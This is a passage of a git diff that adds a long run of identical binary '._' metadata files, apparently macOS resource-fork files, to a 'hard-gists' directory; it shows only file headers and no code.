diff --git a/hard-gists/._2888380 b/hard-gists/._2888380
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2888380 differ
diff --git a/hard-gists/._2890739 b/hard-gists/._2890739
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2890739 differ
diff --git a/hard-gists/._2894514 b/hard-gists/._2894514
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2894514 differ
diff --git a/hard-gists/._2894704 b/hard-gists/._2894704
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2894704 differ
diff --git a/hard-gists/._2899595 b/hard-gists/._2899595
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2899595 differ
diff --git a/hard-gists/._28adf35f1e4ba3145e2d b/hard-gists/._28adf35f1e4ba3145e2d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._28adf35f1e4ba3145e2d differ
diff --git a/hard-gists/._28bf77e9a95ae6b70b14141feacb1f84 b/hard-gists/._28bf77e9a95ae6b70b14141feacb1f84
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._28bf77e9a95ae6b70b14141feacb1f84 differ
diff --git a/hard-gists/._28d2311cc6b28fe9bec0 b/hard-gists/._28d2311cc6b28fe9bec0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._28d2311cc6b28fe9bec0 differ
diff --git a/hard-gists/._28f95f95731a5a24e553 b/hard-gists/._28f95f95731a5a24e553
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._28f95f95731a5a24e553 differ
diff --git a/hard-gists/._2901479 b/hard-gists/._2901479
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2901479 differ
diff --git a/hard-gists/._2902213 b/hard-gists/._2902213
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2902213 differ
diff --git a/hard-gists/._290224 b/hard-gists/._290224
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._290224 differ
diff --git a/hard-gists/._2909661 b/hard-gists/._2909661
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2909661 differ
diff --git a/hard-gists/._2913338 b/hard-gists/._2913338
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2913338 differ
diff --git a/hard-gists/._2915436 b/hard-gists/._2915436
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2915436 differ
diff --git a/hard-gists/._2915875 b/hard-gists/._2915875
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2915875 differ
diff --git a/hard-gists/._294151 b/hard-gists/._294151
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._294151 differ
diff --git a/hard-gists/._2942127 b/hard-gists/._2942127
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2942127 differ
diff --git a/hard-gists/._2942374 b/hard-gists/._2942374
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2942374 differ
diff --git a/hard-gists/._2949632 b/hard-gists/._2949632
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2949632 differ
diff --git a/hard-gists/._2951556 b/hard-gists/._2951556
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2951556 differ
diff --git a/hard-gists/._2957026 b/hard-gists/._2957026
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2957026 differ
diff --git a/hard-gists/._296207 b/hard-gists/._296207
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._296207 differ
diff --git a/hard-gists/._2962884 b/hard-gists/._2962884
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2962884 differ
diff --git a/hard-gists/._2968620 b/hard-gists/._2968620
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2968620 differ
diff --git a/hard-gists/._2971450 b/hard-gists/._2971450
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2971450 differ
diff --git a/hard-gists/._2972ba872df05cb5f0c3 b/hard-gists/._2972ba872df05cb5f0c3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2972ba872df05cb5f0c3 differ
diff --git a/hard-gists/._2973355 b/hard-gists/._2973355
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2973355 differ
diff --git a/hard-gists/._2974887f3fab071c11a0 b/hard-gists/._2974887f3fab071c11a0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2974887f3fab071c11a0 differ
diff --git a/hard-gists/._2975718 b/hard-gists/._2975718
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2975718 differ
diff --git a/hard-gists/._2977d9f26866b05583b0c40d88a315bf b/hard-gists/._2977d9f26866b05583b0c40d88a315bf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2977d9f26866b05583b0c40d88a315bf differ
diff --git a/hard-gists/._2986210 b/hard-gists/._2986210
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2986210 differ
diff --git a/hard-gists/._2988354 b/hard-gists/._2988354
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2988354 differ
diff --git a/hard-gists/._2993700 b/hard-gists/._2993700
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2993700 differ
diff --git a/hard-gists/._2996448 b/hard-gists/._2996448
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2996448 differ
diff --git a/hard-gists/._2998372 b/hard-gists/._2998372
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2998372 differ
diff --git a/hard-gists/._299905 b/hard-gists/._299905
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._299905 differ
diff --git a/hard-gists/._29c51b6997c3e3bff568 b/hard-gists/._29c51b6997c3e3bff568
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._29c51b6997c3e3bff568 differ
diff --git a/hard-gists/._2a1df455e7643926739e934e910cbf2e b/hard-gists/._2a1df455e7643926739e934e910cbf2e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2a1df455e7643926739e934e910cbf2e differ
diff --git a/hard-gists/._2a5d283b0d279ea96c26 b/hard-gists/._2a5d283b0d279ea96c26
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2a5d283b0d279ea96c26 differ
diff --git a/hard-gists/._2aa18ba3b821b2f580a2 b/hard-gists/._2aa18ba3b821b2f580a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2aa18ba3b821b2f580a2 differ
diff --git a/hard-gists/._2aa430e00dde0cf905a9 b/hard-gists/._2aa430e00dde0cf905a9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2aa430e00dde0cf905a9 differ
diff --git a/hard-gists/._2b19fd6f758ffd2e8ab9ec7d1f3f4b2c b/hard-gists/._2b19fd6f758ffd2e8ab9ec7d1f3f4b2c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2b19fd6f758ffd2e8ab9ec7d1f3f4b2c differ
diff --git a/hard-gists/._2b2abbb88b5d2b4f4e5adde42975fd0f b/hard-gists/._2b2abbb88b5d2b4f4e5adde42975fd0f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2b2abbb88b5d2b4f4e5adde42975fd0f differ
diff --git a/hard-gists/._2b3003f44b3ddf5931c9a5e61d8ba417 b/hard-gists/._2b3003f44b3ddf5931c9a5e61d8ba417
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2b3003f44b3ddf5931c9a5e61d8ba417 differ
diff --git a/hard-gists/._2b83b1c47a18448d3cbf b/hard-gists/._2b83b1c47a18448d3cbf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2b83b1c47a18448d3cbf differ
diff --git a/hard-gists/._2b8e2e05cf05a630b132 b/hard-gists/._2b8e2e05cf05a630b132
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2b8e2e05cf05a630b132 differ
diff --git a/hard-gists/._2bcca0a7654168ef454f b/hard-gists/._2bcca0a7654168ef454f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2bcca0a7654168ef454f differ
diff --git a/hard-gists/._2c0d9e1a0012065bb56c b/hard-gists/._2c0d9e1a0012065bb56c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2c0d9e1a0012065bb56c differ
diff --git a/hard-gists/._2c6abf964810ed74802c b/hard-gists/._2c6abf964810ed74802c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2c6abf964810ed74802c differ
diff --git a/hard-gists/._2c7b95beed642248487a b/hard-gists/._2c7b95beed642248487a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2c7b95beed642248487a differ
diff --git a/hard-gists/._2cb9c79df7a58db9e5ec b/hard-gists/._2cb9c79df7a58db9e5ec
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2cb9c79df7a58db9e5ec differ
diff --git a/hard-gists/._2cf4998949f49b58ff284239784e1561 b/hard-gists/._2cf4998949f49b58ff284239784e1561
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2cf4998949f49b58ff284239784e1561 differ
diff --git a/hard-gists/._2d4a4a8be57a9b8e94c7a4903d8d8bf8 b/hard-gists/._2d4a4a8be57a9b8e94c7a4903d8d8bf8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2d4a4a8be57a9b8e94c7a4903d8d8bf8 differ
diff --git a/hard-gists/._2d6bbffce9dda5f3057b4879c3bd4422 b/hard-gists/._2d6bbffce9dda5f3057b4879c3bd4422
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2d6bbffce9dda5f3057b4879c3bd4422 differ
diff --git a/hard-gists/._2d971a5a087881a966c3 b/hard-gists/._2d971a5a087881a966c3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2d971a5a087881a966c3 differ
diff --git a/hard-gists/._2da57d5b039aab4da7ce b/hard-gists/._2da57d5b039aab4da7ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2da57d5b039aab4da7ce differ
diff --git a/hard-gists/._2db1522dbfc5fe58b52c b/hard-gists/._2db1522dbfc5fe58b52c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2db1522dbfc5fe58b52c differ
diff --git a/hard-gists/._2de2e9a156fe619dbdad762fe1cf84e1 b/hard-gists/._2de2e9a156fe619dbdad762fe1cf84e1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2de2e9a156fe619dbdad762fe1cf84e1 differ
diff --git a/hard-gists/._2de48835250e5fceaa1b626099abfa53 b/hard-gists/._2de48835250e5fceaa1b626099abfa53
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2de48835250e5fceaa1b626099abfa53 differ
diff --git a/hard-gists/._2e0cbef7d50e8e7ef2d2 b/hard-gists/._2e0cbef7d50e8e7ef2d2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2e0cbef7d50e8e7ef2d2 differ
diff --git a/hard-gists/._2e11b48f431c53b101db6cb817b2fc7f b/hard-gists/._2e11b48f431c53b101db6cb817b2fc7f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2e11b48f431c53b101db6cb817b2fc7f differ
diff --git a/hard-gists/._2e3b989e0343f0884388ed7ed82eb3b0 b/hard-gists/._2e3b989e0343f0884388ed7ed82eb3b0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2e3b989e0343f0884388ed7ed82eb3b0 differ
diff --git a/hard-gists/._2e466ff4e6b3425aba3c b/hard-gists/._2e466ff4e6b3425aba3c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2e466ff4e6b3425aba3c differ
diff --git a/hard-gists/._2e90566e9497725065388859762a7185 b/hard-gists/._2e90566e9497725065388859762a7185
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2e90566e9497725065388859762a7185 differ
diff --git a/hard-gists/._2ec85f1f8fe0d4f44b6f b/hard-gists/._2ec85f1f8fe0d4f44b6f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2ec85f1f8fe0d4f44b6f differ
diff --git a/hard-gists/._2eec49ca1e4f58c5310d72918d991ef6 b/hard-gists/._2eec49ca1e4f58c5310d72918d991ef6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2eec49ca1e4f58c5310d72918d991ef6 differ
diff --git a/hard-gists/._2f0a1118edb70de95f6859cfa979fad5 b/hard-gists/._2f0a1118edb70de95f6859cfa979fad5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2f0a1118edb70de95f6859cfa979fad5 differ
diff --git a/hard-gists/._2f1b9a255993bf9b2629 b/hard-gists/._2f1b9a255993bf9b2629
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2f1b9a255993bf9b2629 differ
diff --git a/hard-gists/._2f8370ee83ab074f5b5e b/hard-gists/._2f8370ee83ab074f5b5e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2f8370ee83ab074f5b5e differ
diff --git a/hard-gists/._2f8f55987ccc224e2342 b/hard-gists/._2f8f55987ccc224e2342
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2f8f55987ccc224e2342 differ
diff --git a/hard-gists/._2f904cb32be20d808481e04f5dd7fe0c b/hard-gists/._2f904cb32be20d808481e04f5dd7fe0c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2f904cb32be20d808481e04f5dd7fe0c differ
diff --git a/hard-gists/._2fe1c16a7cc27ef01c1f b/hard-gists/._2fe1c16a7cc27ef01c1f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2fe1c16a7cc27ef01c1f differ
diff --git a/hard-gists/._2ff89e40721d1f1a007449f02aee3990 b/hard-gists/._2ff89e40721d1f1a007449f02aee3990
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._2ff89e40721d1f1a007449f02aee3990 differ
diff --git a/hard-gists/._3001099 b/hard-gists/._3001099
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3001099 differ
diff --git a/hard-gists/._3004168 b/hard-gists/._3004168
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3004168 differ
diff --git a/hard-gists/._3009143 b/hard-gists/._3009143
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3009143 differ
diff --git a/hard-gists/._3012089 b/hard-gists/._3012089
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3012089 differ
diff --git a/hard-gists/._3012306 b/hard-gists/._3012306
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3012306 differ
diff --git a/hard-gists/._3012318 b/hard-gists/._3012318
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3012318 differ
diff --git a/hard-gists/._3013470 b/hard-gists/._3013470
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3013470 differ
diff --git a/hard-gists/._3015625 b/hard-gists/._3015625
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3015625 differ
diff --git a/hard-gists/._3015852 b/hard-gists/._3015852
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3015852 differ
diff --git a/hard-gists/._3018527 b/hard-gists/._3018527
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3018527 differ
diff --git a/hard-gists/._3018bf3643f80798bde75c17571a38a9 b/hard-gists/._3018bf3643f80798bde75c17571a38a9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3018bf3643f80798bde75c17571a38a9 differ
diff --git a/hard-gists/._3019988 b/hard-gists/._3019988
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3019988 differ
diff --git a/hard-gists/._3023497 b/hard-gists/._3023497
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3023497 differ
diff --git a/hard-gists/._3037448 b/hard-gists/._3037448
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3037448 differ
diff --git a/hard-gists/._3039696 b/hard-gists/._3039696
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3039696 differ
diff --git a/hard-gists/._3040846 b/hard-gists/._3040846
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3040846 differ
diff --git a/hard-gists/._3042651 b/hard-gists/._3042651
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3042651 differ
diff --git a/hard-gists/._3047772 b/hard-gists/._3047772
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3047772 differ
diff --git a/hard-gists/._304963 b/hard-gists/._304963
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._304963 differ
diff --git a/hard-gists/._304a77371c9e207a5fa42a6b874017d5 b/hard-gists/._304a77371c9e207a5fa42a6b874017d5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._304a77371c9e207a5fa42a6b874017d5 differ
diff --git a/hard-gists/._305322 b/hard-gists/._305322
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._305322 differ
diff --git a/hard-gists/._3057138 b/hard-gists/._3057138
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3057138 differ
diff --git a/hard-gists/._3077639 b/hard-gists/._3077639
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3077639 differ
diff --git a/hard-gists/._3078465 b/hard-gists/._3078465
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3078465 differ
diff --git a/hard-gists/._3078764 b/hard-gists/._3078764
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3078764 differ
diff --git a/hard-gists/._3079065 b/hard-gists/._3079065
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3079065 differ
diff --git a/hard-gists/._3081369 b/hard-gists/._3081369
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3081369 differ
diff --git a/hard-gists/._3083085 b/hard-gists/._3083085
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3083085 differ
diff --git a/hard-gists/._30839ae0280a5077b8669757e5efa75d b/hard-gists/._30839ae0280a5077b8669757e5efa75d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._30839ae0280a5077b8669757e5efa75d differ
diff --git a/hard-gists/._3089556 b/hard-gists/._3089556
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3089556 differ
diff --git a/hard-gists/._3094847 b/hard-gists/._3094847
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3094847 differ
diff --git a/hard-gists/._3097851 b/hard-gists/._3097851
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3097851 differ
diff --git a/hard-gists/._309bed093f6a7084c855 b/hard-gists/._309bed093f6a7084c855
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._309bed093f6a7084c855 differ
diff --git a/hard-gists/._30a5138e41cba69dc81c b/hard-gists/._30a5138e41cba69dc81c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._30a5138e41cba69dc81c differ
diff --git a/hard-gists/._30d2e626772e84edd688ba717a766c89 b/hard-gists/._30d2e626772e84edd688ba717a766c89
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._30d2e626772e84edd688ba717a766c89 differ
diff --git a/hard-gists/._31122eb9e4c0af8adeca b/hard-gists/._31122eb9e4c0af8adeca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._31122eb9e4c0af8adeca differ
diff --git a/hard-gists/._3113810 b/hard-gists/._3113810
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3113810 differ
diff --git a/hard-gists/._3116927 b/hard-gists/._3116927
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3116927 differ
diff --git a/hard-gists/._3128835 b/hard-gists/._3128835
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3128835 differ
diff --git a/hard-gists/._3129692 b/hard-gists/._3129692
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3129692 differ
diff --git a/hard-gists/._3130141 b/hard-gists/._3130141
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3130141 differ
diff --git a/hard-gists/._313753 b/hard-gists/._313753
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._313753 differ
diff --git a/hard-gists/._313761 b/hard-gists/._313761
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._313761 differ
diff --git a/hard-gists/._3141128 b/hard-gists/._3141128
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3141128 differ
diff --git a/hard-gists/._3141140 b/hard-gists/._3141140
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3141140 differ
diff --git a/hard-gists/._3144636 b/hard-gists/._3144636
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3144636 differ
diff --git a/hard-gists/._3148833 b/hard-gists/._3148833
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3148833 differ
diff --git a/hard-gists/._3151375 b/hard-gists/._3151375
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3151375 differ
diff --git a/hard-gists/._3153844 b/hard-gists/._3153844
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3153844 differ
diff --git a/hard-gists/._3158388 b/hard-gists/._3158388
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3158388 differ
diff --git a/hard-gists/._3163938 b/hard-gists/._3163938
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3163938 differ
diff --git a/hard-gists/._3166d6123bd26c066c462328bebcf0c0 b/hard-gists/._3166d6123bd26c066c462328bebcf0c0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3166d6123bd26c066c462328bebcf0c0 differ
diff --git a/hard-gists/._3167162 b/hard-gists/._3167162
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3167162 differ
diff --git a/hard-gists/._3167821 b/hard-gists/._3167821
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3167821 differ
diff --git a/hard-gists/._3168336 b/hard-gists/._3168336
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3168336 differ
diff --git a/hard-gists/._317164 b/hard-gists/._317164
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._317164 differ
diff --git a/hard-gists/._3178905 b/hard-gists/._3178905
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3178905 differ
diff --git a/hard-gists/._3181989 b/hard-gists/._3181989
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3181989 differ
diff --git a/hard-gists/._3197a2bae38f77799ea8 b/hard-gists/._3197a2bae38f77799ea8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3197a2bae38f77799ea8 differ
diff --git a/hard-gists/._31ccafbfceac2ed88974 b/hard-gists/._31ccafbfceac2ed88974
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._31ccafbfceac2ed88974 differ
diff --git a/hard-gists/._31eee50b9aaebf387b380f70054575c5 b/hard-gists/._31eee50b9aaebf387b380f70054575c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._31eee50b9aaebf387b380f70054575c5 differ
diff --git a/hard-gists/._3205bf5aab78623c5ee5 b/hard-gists/._3205bf5aab78623c5ee5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3205bf5aab78623c5ee5 differ
diff --git a/hard-gists/._320a949b092bf30913ef b/hard-gists/._320a949b092bf30913ef
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._320a949b092bf30913ef differ
diff --git a/hard-gists/._3210264 b/hard-gists/._3210264
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3210264 differ
diff --git a/hard-gists/._3211f1660291f871739379082f204c83 b/hard-gists/._3211f1660291f871739379082f204c83
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3211f1660291f871739379082f204c83 differ
diff --git a/hard-gists/._3219308 b/hard-gists/._3219308
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3219308 differ
diff --git a/hard-gists/._3227267 b/hard-gists/._3227267
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3227267 differ
diff --git a/hard-gists/._3231186 b/hard-gists/._3231186
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3231186 differ
diff --git a/hard-gists/._324968 b/hard-gists/._324968
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._324968 differ
diff --git a/hard-gists/._32561f20db62886bcf6af5ce98087ab9 b/hard-gists/._32561f20db62886bcf6af5ce98087ab9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._32561f20db62886bcf6af5ce98087ab9 differ
diff --git a/hard-gists/._326462 b/hard-gists/._326462
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._326462 differ
diff --git a/hard-gists/._3264921 b/hard-gists/._3264921
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3264921 differ
diff --git a/hard-gists/._3271073 b/hard-gists/._3271073
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3271073 differ
diff --git a/hard-gists/._3287286 b/hard-gists/._3287286
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3287286 differ
diff --git a/hard-gists/._329142c1740500bd3797 b/hard-gists/._329142c1740500bd3797
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._329142c1740500bd3797 differ
diff --git a/hard-gists/._3295631 b/hard-gists/._3295631
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3295631 differ
diff --git a/hard-gists/._3298867 b/hard-gists/._3298867
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3298867 differ
diff --git a/hard-gists/._3305365 b/hard-gists/._3305365
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3305365 differ
diff --git a/hard-gists/._3308963 b/hard-gists/._3308963
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3308963 differ
diff --git a/hard-gists/._3309494 b/hard-gists/._3309494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3309494 differ
diff --git a/hard-gists/._3310561 b/hard-gists/._3310561
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3310561 differ
diff --git a/hard-gists/._33150bde6bd296310e41ea5d018fce51 b/hard-gists/._33150bde6bd296310e41ea5d018fce51
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._33150bde6bd296310e41ea5d018fce51 differ
diff --git a/hard-gists/._3334a3cc57b31ae3a5c4 b/hard-gists/._3334a3cc57b31ae3a5c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3334a3cc57b31ae3a5c4 differ
diff --git a/hard-gists/._3340802 b/hard-gists/._3340802
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3340802 differ
diff --git a/hard-gists/._3341591 b/hard-gists/._3341591
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3341591 differ
diff --git a/hard-gists/._3356622 b/hard-gists/._3356622
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3356622 differ
diff --git a/hard-gists/._3359203 b/hard-gists/._3359203
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3359203 differ
diff --git a/hard-gists/._3390999 b/hard-gists/._3390999
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._3390999 differ
diff --git a/hard-gists/._33cc5534cb555a0b710b b/hard-gists/._33cc5534cb555a0b710b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._33cc5534cb555a0b710b differ
diff --git a/hard-gists/._33e2172bafbb5dd794ab b/hard-gists/._33e2172bafbb5dd794ab
new file mode 100644
index 00000000..cd8af967
